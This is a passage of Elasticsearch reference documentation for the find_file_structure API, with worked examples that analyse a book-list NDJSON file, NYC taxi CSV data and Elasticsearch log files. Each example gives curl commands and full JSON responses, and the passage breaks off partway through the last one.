"release_date": "2011-06-02", "page_count": 561} -{"name": "Hyperion", "author": "Dan Simmons", "release_date": "1989-05-26", "page_count": 482} -{"name": "Dune", "author": "Frank Herbert", "release_date": "1965-06-01", "page_count": 604} -{"name": "Dune Messiah", "author": "Frank Herbert", "release_date": "1969-10-15", "page_count": 331} -{"name": "Children of Dune", "author": "Frank Herbert", "release_date": "1976-04-21", "page_count": 408} -{"name": "God Emperor of Dune", "author": "Frank Herbert", "release_date": "1981-05-28", "page_count": 454} -{"name": "Consider Phlebas", "author": "Iain M. Banks", "release_date": "1987-04-23", "page_count": 471} -{"name": "Pandora's Star", "author": "Peter F. Hamilton", "release_date": "2004-03-02", "page_count": 768} -{"name": "Revelation Space", "author": "Alastair Reynolds", "release_date": "2000-03-15", "page_count": 585} -{"name": "A Fire Upon the Deep", "author": "Vernor Vinge", "release_date": "1992-06-01", "page_count": 613} -{"name": "Ender's Game", "author": "Orson Scott Card", "release_date": "1985-06-01", "page_count": 324} -{"name": "1984", "author": "George Orwell", "release_date": "1985-06-01", "page_count": 328} -{"name": "Fahrenheit 451", "author": "Ray Bradbury", "release_date": "1953-10-15", "page_count": 227} -{"name": "Brave New World", "author": "Aldous Huxley", "release_date": "1932-06-01", "page_count": 268} -{"name": "Foundation", "author": "Isaac Asimov", "release_date": "1951-06-01", "page_count": 224} -{"name": "The Giver", "author": "Lois Lowry", "release_date": "1993-04-26", "page_count": 208} -{"name": "Slaughterhouse-Five", "author": "Kurt Vonnegut", "release_date": "1969-06-01", "page_count": 275} -{"name": "The Hitchhiker's Guide to the Galaxy", "author": "Douglas Adams", "release_date": "1979-10-12", "page_count": 180} -{"name": "Snow Crash", "author": "Neal Stephenson", "release_date": "1992-06-01", "page_count": 470} -{"name": "Neuromancer", "author": "William Gibson", "release_date": "1984-07-01", "page_count": 271} -{"name": "The Handmaid's Tale", "author": "Margaret Atwood", "release_date": "1985-06-01", "page_count": 311} -{"name": "Starship Troopers", "author": "Robert A. Heinlein", "release_date": "1959-12-01", "page_count": 335} -{"name": "The Left Hand of Darkness", "author": "Ursula K. Le Guin", "release_date": "1969-06-01", "page_count": 304} -{"name": "The Moon is a Harsh Mistress", "author": "Robert A. Heinlein", "release_date": "1966-04-01", "page_count": 288} ----- -// TEST[warning:[POST /_ml/find_file_structure] is deprecated! Use [POST /_text_structure/find_structure] instead.] - -If the request does not encounter errors, you receive the following result: - -[source,console-result] ----- -{ - "num_lines_analyzed" : 24, <1> - "num_messages_analyzed" : 24, <2> - "sample_start" : "{\"name\": \"Leviathan Wakes\", \"author\": \"James S.A. Corey\", \"release_date\": \"2011-06-02\", \"page_count\": 561}\n{\"name\": \"Hyperion\", \"author\": \"Dan Simmons\", \"release_date\": \"1989-05-26\", \"page_count\": 482}\n", <3> - "charset" : "UTF-8", <4> - "has_byte_order_marker" : false, <5> - "format" : "ndjson", <6> - "timestamp_field" : "release_date", <7> - "joda_timestamp_formats" : [ <8> - "ISO8601" - ], - "java_timestamp_formats" : [ <9> - "ISO8601" - ], - "need_client_timezone" : true, <10> - "mappings" : { <11> - "properties" : { - "@timestamp" : { - "type" : "date" - }, - "author" : { - "type" : "keyword" - }, - "name" : { - "type" : "keyword" - }, - "page_count" : { - "type" : "long" - }, - "release_date" : { - "type" : "date", - "format" : "iso8601" - } - } - }, - "ingest_pipeline" : { - "description" : "Ingest pipeline created by text structure finder", - "processors" : [ - { - "date" : { - "field" : "release_date", - "timezone" : "{{ event.timezone }}", - "formats" : [ - "ISO8601" - ] - } - } - ] - }, - "field_stats" : { <12> - "author" : { - "count" : 24, - "cardinality" : 20, - "top_hits" : [ - { - "value" : "Frank Herbert", - "count" : 4 - }, - { - "value" : "Robert A. Heinlein", - "count" : 2 - }, - { - "value" : "Alastair Reynolds", - "count" : 1 - }, - { - "value" : "Aldous Huxley", - "count" : 1 - }, - { - "value" : "Dan Simmons", - "count" : 1 - }, - { - "value" : "Douglas Adams", - "count" : 1 - }, - { - "value" : "George Orwell", - "count" : 1 - }, - { - "value" : "Iain M. Banks", - "count" : 1 - }, - { - "value" : "Isaac Asimov", - "count" : 1 - }, - { - "value" : "James S.A. Corey", - "count" : 1 - } - ] - }, - "name" : { - "count" : 24, - "cardinality" : 24, - "top_hits" : [ - { - "value" : "1984", - "count" : 1 - }, - { - "value" : "A Fire Upon the Deep", - "count" : 1 - }, - { - "value" : "Brave New World", - "count" : 1 - }, - { - "value" : "Children of Dune", - "count" : 1 - }, - { - "value" : "Consider Phlebas", - "count" : 1 - }, - { - "value" : "Dune", - "count" : 1 - }, - { - "value" : "Dune Messiah", - "count" : 1 - }, - { - "value" : "Ender's Game", - "count" : 1 - }, - { - "value" : "Fahrenheit 451", - "count" : 1 - }, - { - "value" : "Foundation", - "count" : 1 - } - ] - }, - "page_count" : { - "count" : 24, - "cardinality" : 24, - "min_value" : 180, - "max_value" : 768, - "mean_value" : 387.0833333333333, - "median_value" : 329.5, - "top_hits" : [ - { - "value" : 180, - "count" : 1 - }, - { - "value" : 208, - "count" : 1 - }, - { - "value" : 224, - "count" : 1 - }, - { - "value" : 227, - "count" : 1 - }, - { - "value" : 268, - "count" : 1 - }, - { - "value" : 271, - "count" : 1 - }, - { - "value" : 275, - "count" : 1 - }, - { - "value" : 288, - "count" : 1 - }, - { - "value" : 304, - "count" : 1 - }, - { - "value" : 311, - "count" : 1 - } - ] - }, - "release_date" : { - "count" : 24, - "cardinality" : 20, - "earliest" : "1932-06-01", - "latest" : "2011-06-02", - "top_hits" : [ - { - "value" : "1985-06-01", - "count" : 3 - }, - { - "value" : "1969-06-01", - "count" : 2 - }, - { - "value" : "1992-06-01", - "count" : 2 - }, - { - "value" : "1932-06-01", - "count" : 1 - }, - { - "value" : "1951-06-01", - "count" : 1 - }, - { - "value" : "1953-10-15", - "count" : 1 - }, - { - "value" : "1959-12-01", - "count" : 1 - }, - { - "value" : "1965-06-01", - "count" : 1 - }, - { - "value" : "1966-04-01", - "count" : 1 - }, - { - "value" : "1969-10-15", - "count" : 1 - } - ] - } - } -} ----- -// TESTRESPONSE[s/"sample_start" : ".*",/"sample_start" : "$body.sample_start",/] -// The substitution is because the "file" is pre-processed by the test harness, -// so the fields may get reordered in the JSON the endpoint sees - -<1> `num_lines_analyzed` indicates how many lines of the file were analyzed. -<2> `num_messages_analyzed` indicates how many distinct messages the lines contained. - For NDJSON, this value is the same as `num_lines_analyzed`. For other file - formats, messages can span several lines. -<3> `sample_start` reproduces the first two messages in the file verbatim. This - may help to diagnose parse errors or accidental uploads of the wrong file. -<4> `charset` indicates the character encoding used to parse the file. -<5> For UTF character encodings, `has_byte_order_marker` indicates whether the - file begins with a byte order marker. -<6> `format` is one of `ndjson`, `xml`, `delimited` or `semi_structured_text`. -<7> The `timestamp_field` names the field considered most likely to be the - primary timestamp of each document. -<8> `joda_timestamp_formats` are used to tell Logstash how to parse timestamps. -<9> `java_timestamp_formats` are the Java time formats recognized in the time - fields. Elasticsearch mappings and Ingest pipeline use this format. -<10> If a timestamp format is detected that does not include a timezone, - `need_client_timezone` will be `true`. The server that parses the file must - therefore be told the correct timezone by the client. -<11> `mappings` contains some suitable mappings for an index into which the data - could be ingested. In this case, the `release_date` field has been given a - `keyword` type as it is not considered specific enough to convert to the - `date` type. -<12> `field_stats` contains the most common values of each field, plus basic - numeric statistics for the numeric `page_count` field. This information - may provide clues that the data needs to be cleaned or transformed prior - to use by other {ml} functionality. - - -[[ml-find-file-structure-example-nyc]] -=== Finding the structure of NYC yellow cab example data - -The next example shows how it's possible to find the structure of some New York -City yellow cab trip data. The first `curl` command downloads the data, the -first 20000 lines of which are then piped into the `find_file_structure` -endpoint. The `lines_to_sample` query parameter of the endpoint is set to 20000 -to match what is specified in the `head` command. - -[source,js] ----- -curl -s "s3.amazonaws.com/nyc-tlc/trip+data/yellow_tripdata_2018-06.csv" | head -20000 | curl -s -H "Content-Type: application/json" -XPOST "localhost:9200/_ml/find_file_structure?pretty&lines_to_sample=20000" -T - ----- -// NOTCONSOLE -// Not converting to console because this shows how curl can be used - --- -NOTE: The `Content-Type: application/json` header must be set even though in -this case the data is not JSON. (Alternatively the `Content-Type` can be set -to any other supported by {es}, but it must be set.) --- - -If the request does not encounter errors, you receive the following result: - -[source,js] ----- -{ - "num_lines_analyzed" : 20000, - "num_messages_analyzed" : 19998, <1> - "sample_start" : "VendorID,tpep_pickup_datetime,tpep_dropoff_datetime,passenger_count,trip_distance,RatecodeID,store_and_fwd_flag,PULocationID,DOLocationID,payment_type,fare_amount,extra,mta_tax,tip_amount,tolls_amount,improvement_surcharge,total_amount\n\n1,2018-06-01 00:15:40,2018-06-01 00:16:46,1,.00,1,N,145,145,2,3,0.5,0.5,0,0,0.3,4.3\n", - "charset" : "UTF-8", - "has_byte_order_marker" : false, - "format" : "delimited", <2> - "multiline_start_pattern" : "^.*?,\"?\\d{4}-\\d{2}-\\d{2}[T ]\\d{2}:\\d{2}", - "exclude_lines_pattern" : "^\"?VendorID\"?,\"?tpep_pickup_datetime\"?,\"?tpep_dropoff_datetime\"?,\"?passenger_count\"?,\"?trip_distance\"?,\"?RatecodeID\"?,\"?store_and_fwd_flag\"?,\"?PULocationID\"?,\"?DOLocationID\"?,\"?payment_type\"?,\"?fare_amount\"?,\"?extra\"?,\"?mta_tax\"?,\"?tip_amount\"?,\"?tolls_amount\"?,\"?improvement_surcharge\"?,\"?total_amount\"?", - "column_names" : [ <3> - "VendorID", - "tpep_pickup_datetime", - "tpep_dropoff_datetime", - "passenger_count", - "trip_distance", - "RatecodeID", - "store_and_fwd_flag", - "PULocationID", - "DOLocationID", - "payment_type", - "fare_amount", - "extra", - "mta_tax", - "tip_amount", - "tolls_amount", - "improvement_surcharge", - "total_amount" - ], - "has_header_row" : true, <4> - "delimiter" : ",", <5> - "quote" : "\"", <6> - "timestamp_field" : "tpep_pickup_datetime", <7> - "joda_timestamp_formats" : [ <8> - "YYYY-MM-dd HH:mm:ss" - ], - "java_timestamp_formats" : [ <9> - "yyyy-MM-dd HH:mm:ss" - ], - "need_client_timezone" : true, <10> - "mappings" : { - "properties" : { - "@timestamp" : { - "type" : "date" - }, - "DOLocationID" : { - "type" : "long" - }, - "PULocationID" : { - "type" : "long" - }, - "RatecodeID" : { - "type" : "long" - }, - "VendorID" : { - "type" : "long" - }, - "extra" : { - "type" : "double" - }, - "fare_amount" : { - "type" : "double" - }, - "improvement_surcharge" : { - "type" : "double" - }, - "mta_tax" : { - "type" : "double" - }, - "passenger_count" : { - "type" : "long" - }, - "payment_type" : { - "type" : "long" - }, - "store_and_fwd_flag" : { - "type" : "keyword" - }, - "tip_amount" : { - "type" : "double" - }, - "tolls_amount" : { - "type" : "double" - }, - "total_amount" : { - "type" : "double" - }, - "tpep_dropoff_datetime" : { - "type" : "date", - "format" : "yyyy-MM-dd HH:mm:ss" - }, - "tpep_pickup_datetime" : { - "type" : "date", - "format" : "yyyy-MM-dd HH:mm:ss" - }, - "trip_distance" : { - "type" : "double" - } - } - }, - "ingest_pipeline" : { - "description" : "Ingest pipeline created by text structure finder", - "processors" : [ - { - "csv" : { - "field" : "message", - "target_fields" : [ - "VendorID", - "tpep_pickup_datetime", - "tpep_dropoff_datetime", - "passenger_count", - "trip_distance", - "RatecodeID", - "store_and_fwd_flag", - "PULocationID", - "DOLocationID", - "payment_type", - "fare_amount", - "extra", - "mta_tax", - "tip_amount", - "tolls_amount", - "improvement_surcharge", - "total_amount" - ] - } - }, - { - "date" : { - "field" : "tpep_pickup_datetime", - "timezone" : "{{ event.timezone }}", - "formats" : [ - "yyyy-MM-dd HH:mm:ss" - ] - } - }, - { - "convert" : { - "field" : "DOLocationID", - "type" : "long" - } - }, - { - "convert" : { - "field" : "PULocationID", - "type" : "long" - } - }, - { - "convert" : { - "field" : "RatecodeID", - "type" : "long" - } - }, - { - "convert" : { - "field" : "VendorID", - "type" : "long" - } - }, - { - "convert" : { - "field" : "extra", - "type" : "double" - } - }, - { - "convert" : { - "field" : "fare_amount", - "type" : "double" - } - }, - { - "convert" : { - "field" : "improvement_surcharge", - "type" : "double" - } - }, - { - "convert" : { - "field" : "mta_tax", - "type" : "double" - } - }, - { - "convert" : { - "field" : "passenger_count", - "type" : "long" - } - }, - { - "convert" : { - "field" : "payment_type", - "type" : "long" - } - }, - { - "convert" : { - "field" : "tip_amount", - "type" : "double" - } - }, - { - "convert" : { - "field" : "tolls_amount", - "type" : "double" - } - }, - { - "convert" : { - "field" : "total_amount", - "type" : "double" - } - }, - { - "convert" : { - "field" : "trip_distance", - "type" : "double" - } - }, - { - "remove" : { - "field" : "message" - } - } - ] - }, - "field_stats" : { - "DOLocationID" : { - "count" : 19998, - "cardinality" : 240, - "min_value" : 1, - "max_value" : 265, - "mean_value" : 150.26532653265312, - "median_value" : 148, - "top_hits" : [ - { - "value" : 79, - "count" : 760 - }, - { - "value" : 48, - "count" : 683 - }, - { - "value" : 68, - "count" : 529 - }, - { - "value" : 170, - "count" : 506 - }, - { - "value" : 107, - "count" : 468 - }, - { - "value" : 249, - "count" : 457 - }, - { - "value" : 230, - "count" : 441 - }, - { - "value" : 186, - "count" : 432 - }, - { - "value" : 141, - "count" : 409 - }, - { - "value" : 263, - "count" : 386 - } - ] - }, - "PULocationID" : { - "count" : 19998, - "cardinality" : 154, - "min_value" : 1, - "max_value" : 265, - "mean_value" : 153.4042404240424, - "median_value" : 148, - "top_hits" : [ - { - "value" : 79, - "count" : 1067 - }, - { - "value" : 230, - "count" : 949 - }, - { - "value" : 148, - "count" : 940 - }, - { - "value" : 132, - "count" : 897 - }, - { - "value" : 48, - "count" : 853 - }, - { - "value" : 161, - "count" : 820 - }, - { - "value" : 234, - "count" : 750 - }, - { - "value" : 249, - "count" : 722 - }, - { - "value" : 164, - "count" : 663 - }, - { - "value" : 114, - "count" : 646 - } - ] - }, - "RatecodeID" : { - "count" : 19998, - "cardinality" : 5, - "min_value" : 1, - "max_value" : 5, - "mean_value" : 1.0656565656565653, - "median_value" : 1, - "top_hits" : [ - { - "value" : 1, - "count" : 19311 - }, - { - "value" : 2, - "count" : 468 - }, - { - "value" : 5, - "count" : 195 - }, - { - "value" : 4, - "count" : 17 - }, - { - "value" : 3, - "count" : 7 - } - ] - }, - "VendorID" : { - "count" : 19998, - "cardinality" : 2, - "min_value" : 1, - "max_value" : 2, - "mean_value" : 1.59005900590059, - "median_value" : 2, - "top_hits" : [ - { - "value" : 2, - "count" : 11800 - }, - { - "value" : 1, - "count" : 8198 - } - ] - }, - "extra" : { - "count" : 19998, - "cardinality" : 3, - "min_value" : -0.5, - "max_value" : 0.5, - "mean_value" : 0.4815981598159816, - "median_value" : 0.5, - "top_hits" : [ - { - "value" : 0.5, - "count" : 19281 - }, - { - "value" : 0, - "count" : 698 - }, - { - "value" : -0.5, - "count" : 19 - } - ] - }, - "fare_amount" : { - "count" : 19998, - "cardinality" : 208, - "min_value" : -100, - "max_value" : 300, - "mean_value" : 13.937719771977209, - "median_value" : 9.5, - "top_hits" : [ - { - "value" : 6, - "count" : 1004 - }, - { - "value" : 6.5, - "count" : 935 - }, - { - "value" : 5.5, - "count" : 909 - }, - { - "value" : 7, - "count" : 903 - }, - { - "value" : 5, - "count" : 889 - }, - { - "value" : 7.5, - "count" : 854 - }, - { - "value" : 4.5, - "count" : 802 - }, - { - "value" : 8.5, - "count" : 790 - }, - { - "value" : 8, - "count" : 789 - }, - { - "value" : 9, - "count" : 711 - } - ] - }, - "improvement_surcharge" : { - "count" : 19998, - "cardinality" : 3, - "min_value" : -0.3, - "max_value" : 0.3, - "mean_value" : 0.29915991599159913, - "median_value" : 0.3, - "top_hits" : [ - { - "value" : 0.3, - "count" : 19964 - }, - { - "value" : -0.3, - "count" : 22 - }, - { - "value" : 0, - "count" : 12 - } - ] - }, - "mta_tax" : { - "count" : 19998, - "cardinality" : 3, - "min_value" : -0.5, - "max_value" : 0.5, - "mean_value" : 0.4962246224622462, - "median_value" : 0.5, - "top_hits" : [ - { - "value" : 0.5, - "count" : 19868 - }, - { - "value" : 0, - "count" : 109 - }, - { - "value" : -0.5, - "count" : 21 - } - ] - }, - "passenger_count" : { - "count" : 19998, - "cardinality" : 7, - "min_value" : 0, - "max_value" : 6, - "mean_value" : 1.6201620162016201, - "median_value" : 1, - "top_hits" : [ - { - "value" : 1, - "count" : 14219 - }, - { - "value" : 2, - "count" : 2886 - }, - { - "value" : 5, - "count" : 1047 - }, - { - "value" : 3, - "count" : 804 - }, - { - "value" : 6, - "count" : 523 - }, - { - "value" : 4, - "count" : 406 - }, - { - "value" : 0, - "count" : 113 - } - ] - }, - "payment_type" : { - "count" : 19998, - "cardinality" : 4, - "min_value" : 1, - "max_value" : 4, - "mean_value" : 1.315631563156316, - "median_value" : 1, - "top_hits" : [ - { - "value" : 1, - "count" : 13936 - }, - { - "value" : 2, - "count" : 5857 - }, - { - "value" : 3, - "count" : 160 - }, - { - "value" : 4, - "count" : 45 - } - ] - }, - "store_and_fwd_flag" : { - "count" : 19998, - "cardinality" : 2, - "top_hits" : [ - { - "value" : "N", - "count" : 19910 - }, - { - "value" : "Y", - "count" : 88 - } - ] - }, - "tip_amount" : { - "count" : 19998, - "cardinality" : 717, - "min_value" : 0, - "max_value" : 128, - "mean_value" : 2.010959095909593, - "median_value" : 1.45, - "top_hits" : [ - { - "value" : 0, - "count" : 6917 - }, - { - "value" : 1, - "count" : 1178 - }, - { - "value" : 2, - "count" : 624 - }, - { - "value" : 3, - "count" : 248 - }, - { - "value" : 1.56, - "count" : 206 - }, - { - "value" : 1.46, - "count" : 205 - }, - { - "value" : 1.76, - "count" : 196 - }, - { - "value" : 1.45, - "count" : 195 - }, - { - "value" : 1.36, - "count" : 191 - }, - { - "value" : 1.5, - "count" : 187 - } - ] - }, - "tolls_amount" : { - "count" : 19998, - "cardinality" : 26, - "min_value" : 0, - "max_value" : 35, - "mean_value" : 0.2729697969796978, - "median_value" : 0, - "top_hits" : [ - { - "value" : 0, - "count" : 19107 - }, - { - "value" : 5.76, - "count" : 791 - }, - { - "value" : 10.5, - "count" : 36 - }, - { - "value" : 2.64, - "count" : 21 - }, - { - "value" : 11.52, - "count" : 8 - }, - { - "value" : 5.54, - "count" : 4 - }, - { - "value" : 8.5, - "count" : 4 - }, - { - "value" : 17.28, - "count" : 4 - }, - { - "value" : 2, - "count" : 2 - }, - { - "value" : 2.16, - "count" : 2 - } - ] - }, - "total_amount" : { - "count" : 19998, - "cardinality" : 1267, - "min_value" : -100.3, - "max_value" : 389.12, - "mean_value" : 17.499898989898995, - "median_value" : 12.35, - "top_hits" : [ - { - "value" : 7.3, - "count" : 478 - }, - { - "value" : 8.3, - "count" : 443 - }, - { - "value" : 8.8, - "count" : 420 - }, - { - "value" : 6.8, - "count" : 406 - }, - { - "value" : 7.8, - "count" : 405 - }, - { - "value" : 6.3, - "count" : 371 - }, - { - "value" : 9.8, - "count" : 368 - }, - { - "value" : 5.8, - "count" : 362 - }, - { - "value" : 9.3, - "count" : 332 - }, - { - "value" : 10.3, - "count" : 332 - } - ] - }, - "tpep_dropoff_datetime" : { - "count" : 19998, - "cardinality" : 9066, - "earliest" : "2018-05-31 06:18:15", - "latest" : "2018-06-02 02:25:44", - "top_hits" : [ - { - "value" : "2018-06-01 01:12:12", - "count" : 10 - }, - { - "value" : "2018-06-01 00:32:15", - "count" : 9 - }, - { - "value" : "2018-06-01 00:44:27", - "count" : 9 - }, - { - "value" : "2018-06-01 00:46:42", - "count" : 9 - }, - { - "value" : "2018-06-01 01:03:22", - "count" : 9 - }, - { - "value" : "2018-06-01 01:05:13", - "count" : 9 - }, - { - "value" : "2018-06-01 00:11:20", - "count" : 8 - }, - { - "value" : "2018-06-01 00:16:03", - "count" : 8 - }, - { - "value" : "2018-06-01 00:19:47", - "count" : 8 - }, - { - "value" : "2018-06-01 00:25:17", - "count" : 8 - } - ] - }, - "tpep_pickup_datetime" : { - "count" : 19998, - "cardinality" : 8760, - "earliest" : "2018-05-31 06:08:31", - "latest" : "2018-06-02 01:21:21", - "top_hits" : [ - { - "value" : "2018-06-01 00:01:23", - "count" : 12 - }, - { - "value" : "2018-06-01 00:04:31", - "count" : 10 - }, - { - "value" : "2018-06-01 00:05:38", - "count" : 10 - }, - { - "value" : "2018-06-01 00:09:50", - "count" : 10 - }, - { - "value" : "2018-06-01 00:12:01", - "count" : 10 - }, - { - "value" : "2018-06-01 00:14:17", - "count" : 10 - }, - { - "value" : "2018-06-01 00:00:34", - "count" : 9 - }, - { - "value" : "2018-06-01 00:00:40", - "count" : 9 - }, - { - "value" : "2018-06-01 00:02:53", - "count" : 9 - }, - { - "value" : "2018-06-01 00:05:40", - "count" : 9 - } - ] - }, - "trip_distance" : { - "count" : 19998, - "cardinality" : 1687, - "min_value" : 0, - "max_value" : 64.63, - "mean_value" : 3.6521062106210715, - "median_value" : 2.16, - "top_hits" : [ - { - "value" : 0.9, - "count" : 335 - }, - { - "value" : 0.8, - "count" : 320 - }, - { - "value" : 1.1, - "count" : 316 - }, - { - "value" : 0.7, - "count" : 304 - }, - { - "value" : 1.2, - "count" : 303 - }, - { - "value" : 1, - "count" : 296 - }, - { - "value" : 1.3, - "count" : 280 - }, - { - "value" : 1.5, - "count" : 268 - }, - { - "value" : 1.6, - "count" : 268 - }, - { - "value" : 0.6, - "count" : 256 - } - ] - } - } -} ----- -// NOTCONSOLE - -<1> `num_messages_analyzed` is 2 lower than `num_lines_analyzed` because only - data records count as messages. The first line contains the column names - and in this sample the second line is blank. -<2> Unlike the first example, in this case the `format` has been identified as - `delimited`. -<3> Because the `format` is `delimited`, the `column_names` field in the output - lists the column names in the order they appear in the sample. -<4> `has_header_row` indicates that for this sample the column names were in - the first row of the sample. (If they hadn't been then it would have been - a good idea to specify them in the `column_names` query parameter.) -<5> The `delimiter` for this sample is a comma, as it's a CSV file. -<6> The `quote` character is the default double quote. (The structure finder - does not attempt to deduce any other quote character, so if you have a - delimited file that's quoted with some other character you must specify it - using the `quote` query parameter.) -<7> The `timestamp_field` has been chosen to be `tpep_pickup_datetime`. - `tpep_dropoff_datetime` would work just as well, but `tpep_pickup_datetime` - was chosen because it comes first in the column order. If you prefer - `tpep_dropoff_datetime` then force it to be chosen using the - `timestamp_field` query parameter. -<8> `joda_timestamp_formats` are used to tell Logstash how to parse timestamps. -<9> `java_timestamp_formats` are the Java time formats recognized in the time - fields. Elasticsearch mappings and Ingest pipeline use this format. -<10> The timestamp format in this sample doesn't specify a timezone, so to - accurately convert them to UTC timestamps to store in Elasticsearch it's - necessary to supply the timezone they relate to. `need_client_timezone` - will be `false` for timestamp formats that include the timezone. - - -[[ml-find-file-structure-example-timeout]] -=== Setting the timeout parameter - -If you try to analyze a lot of data then the analysis will take a long time. -If you want to limit the amount of processing your {es} cluster performs for -a request, use the `timeout` query parameter. The analysis will be aborted and -an error returned when the timeout expires. For example, you can replace 20000 -lines in the previous example with 200000 and set a 1 second timeout on the -analysis: - -[source,js] ----- -curl -s "s3.amazonaws.com/nyc-tlc/trip+data/yellow_tripdata_2018-06.csv" | head -200000 | curl -s -H "Content-Type: application/json" -XPOST "localhost:9200/_ml/find_file_structure?pretty&lines_to_sample=200000&timeout=1s" -T - ----- -// NOTCONSOLE -// Not converting to console because this shows how curl can be used - -Unless you are using an incredibly fast computer you'll receive a timeout error: - -[source,js] ----- -{ - "error" : { - "root_cause" : [ - { - "type" : "timeout_exception", - "reason" : "Aborting structure analysis during [delimited record parsing] as it has taken longer than the timeout of [1s]" - } - ], - "type" : "timeout_exception", - "reason" : "Aborting structure analysis during [delimited record parsing] as it has taken longer than the timeout of [1s]" - }, - "status" : 500 -} ----- -// NOTCONSOLE - --- -NOTE: If you try the example above yourself you will note that the overall -running time of the `curl` commands is considerably longer than 1 second. This -is because it takes a while to download 200000 lines of CSV from the internet, -and the timeout is measured from the time this endpoint starts to process the -data. --- - - -[[ml-find-file-structure-example-eslog]] -=== Analyzing {es} log files - -This is an example of analyzing {es}'s own log file: - -[source,js] ----- -curl -s -H "Content-Type: application/json" -XPOST "localhost:9200/_ml/find_file_structure?pretty" -T "$ES_HOME/logs/elasticsearch.log" ----- -// NOTCONSOLE -// Not converting to console because this shows how curl can be used - -If the request does not encounter errors, the result will look something like -this: - -[source,js] ----- -{ - "num_lines_analyzed" : 53, - "num_messages_analyzed" : 53, - "sample_start" : "[2018-09-27T14:39:28,518][INFO ][o.e.e.NodeEnvironment ] [node-0] using [1] data paths, mounts [[/ (/dev/disk1)]], net usable_space [165.4gb], net total_space [464.7gb], types [hfs]\n[2018-09-27T14:39:28,521][INFO ][o.e.e.NodeEnvironment ] [node-0] heap size [494.9mb], compressed ordinary object pointers [true]\n", - "charset" : "UTF-8", - "has_byte_order_marker" : false, - "format" : "semi_structured_text", <1> - "multiline_start_pattern" : "^\\[\\b\\d{4}-\\d{2}-\\d{2}[T ]\\d{2}:\\d{2}", <2> - "grok_pattern" : "\\[%{TIMESTAMP_ISO8601:timestamp}\\]\\[%{LOGLEVEL:loglevel}.*", <3> - "timestamp_field" : "timestamp", - "joda_timestamp_formats" : [ - "ISO8601" - ], - "java_timestamp_formats" : [ - "ISO8601" - ], - "need_client_timezone" : true, - "mappings" : { - "properties" : { - "@timestamp" : { - "type" : "date" - }, - "loglevel" : { - "type" : "keyword" - }, - "message" : { - "type" : "text" - } - } - }, - "ingest_pipeline" : { - "description" : "Ingest pipeline created by text structure finder", - "processors" : [ - { - "grok" : { - "field" : "message", - "patterns" : [ - "\\[%{TIMESTAMP_ISO8601:timestamp}\\]\\[%{LOGLEVEL:loglevel}.*" - ] - } - }, - { - "date" : { - "field" : "timestamp", - "timezone" : "{{ event.timezone }}", - "formats" : [ - "ISO8601" - ] - } - }, - { - "remove" : { - "field" : "timestamp" - } - } - ] - }, - "field_stats" : { - "loglevel" : { - "count" : 53, - "cardinality" : 3, - "top_hits" : [ - { - "value" : "INFO", - "count" : 51 - }, - { - "value" : "DEBUG", - "count" : 1 - }, - { - "value" : "WARN", - "count" : 1 - } - ] - }, - "timestamp" : { - "count" : 53, - "cardinality" : 28, - "earliest" : "2018-09-27T14:39:28,518", - "latest" : "2018-09-27T14:39:37,012", - "top_hits" : [ - { - "value" : "2018-09-27T14:39:29,859", - "count" : 10 - }, - { - "value" : "2018-09-27T14:39:29,860", - "count" : 9 - }, - { - "value" : "2018-09-27T14:39:29,858", - "count" : 6 - }, - { - "value" : "2018-09-27T14:39:28,523", - "count" : 3 - }, - { - "value" : "2018-09-27T14:39:34,234", - "count" : 2 - }, - { - "value" : "2018-09-27T14:39:28,518", - "count" : 1 - }, - { - "value" : "2018-09-27T14:39:28,521", - "count" : 1 - }, - { - "value" : "2018-09-27T14:39:28,522", - "count" : 1 - }, - { - "value" : "2018-09-27T14:39:29,861", - "count" : 1 - }, - { - "value" : "2018-09-27T14:39:32,786", - "count" : 1 - } - ] - } - } -} ----- -// NOTCONSOLE - -<1> This time the `format` has been identified as `semi_structured_text`. -<2> The `multiline_start_pattern` is set on the basis that the timestamp appears - in the first line of each multi-line log message. -<3> A very simple `grok_pattern` has been created, which extracts the timestamp - and recognizable fields that appear in every analyzed message. In this case - the only field that was recognized beyond the timestamp was the log level. - - -[[ml-find-file-structure-example-grok]] -=== Specifying `grok_pattern` as query parameter - -If you recognize more fields than the simple `grok_pattern` produced by the -structure finder unaided then you can resubmit the request specifying a more -advanced `grok_pattern` as a query parameter and the structure finder will -calculate `field_stats` for your additional fields. - -In the case of the {es} log a more complete Grok pattern is -`\[%{TIMESTAMP_ISO8601:timestamp}\]\[%{LOGLEVEL:loglevel} *\]\[%{JAVACLASS:class} *\] \[%{HOSTNAME:node}\] %{JAVALOGMESSAGE:message}`. -You can analyze the same log file again, submitting this `grok_pattern` as a -query parameter (appropriately URL escaped): - -[source,js] ----- -curl -s -H "Content-Type: application/json" -XPOST "localhost:9200/_ml/find_file_structure?pretty&format=semi_structured_text&grok_pattern=%5C%5B%25%7BTIMESTAMP_ISO8601:timestamp%7D%5C%5D%5C%5B%25%7BLOGLEVEL:loglevel%7D%20*%5C%5D%5C%5B%25%7BJAVACLASS:class%7D%20*%5C%5D%20%5C%5B%25%7BHOSTNAME:node%7D%5C%5D%20%25%7BJAVALOGMESSAGE:message%7D" -T "$ES_HOME/logs/elasticsearch.log" ----- -// NOTCONSOLE -// Not converting to console because this shows how curl can be used - -If the request does not encounter errors, the result will look something like -this: - -[source,js] ----- -{ - "num_lines_analyzed" : 53, - "num_messages_analyzed" : 53, - "sample_start" : "[2018-09-27T14:39:28,518][INFO ][o.e.e.NodeEnvironment ] [node-0] using [1] data paths, mounts [[/ (/dev/disk1)]], net usable_space [165.4gb], net total_space [464.7gb], types [hfs]\n[2018-09-27T14:39:28,521][INFO ][o.e.e.NodeEnvironment ] [node-0] heap size [494.9mb], compressed ordinary object pointers [true]\n", - "charset" : "UTF-8", - "has_byte_order_marker" : false, - "format" : "semi_structured_text", - "multiline_start_pattern" : "^\\[\\b\\d{4}-\\d{2}-\\d{2}[T ]\\d{2}:\\d{2}", - "grok_pattern" : "\\[%{TIMESTAMP_ISO8601:timestamp}\\]\\[%{LOGLEVEL:loglevel} *\\]\\[%{JAVACLASS:class} *\\] \\[%{HOSTNAME:node}\\] %{JAVALOGMESSAGE:message}", <1> - "timestamp_field" : "timestamp", - "joda_timestamp_formats" : [ - "ISO8601" - ], - "java_timestamp_formats" : [ - "ISO8601" - ], - "need_client_timezone" : true, - "mappings" : { - "properties" : { - "@timestamp" : { - "type" : "date" - }, - "class" : { - "type" : "keyword" - }, - "loglevel" : { - "type" : "keyword" - }, - "message" : { - "type" : "text" - }, - "node" : { - "type" : "keyword" - } - } - }, - "ingest_pipeline" : { - "description" : "Ingest pipeline created by text 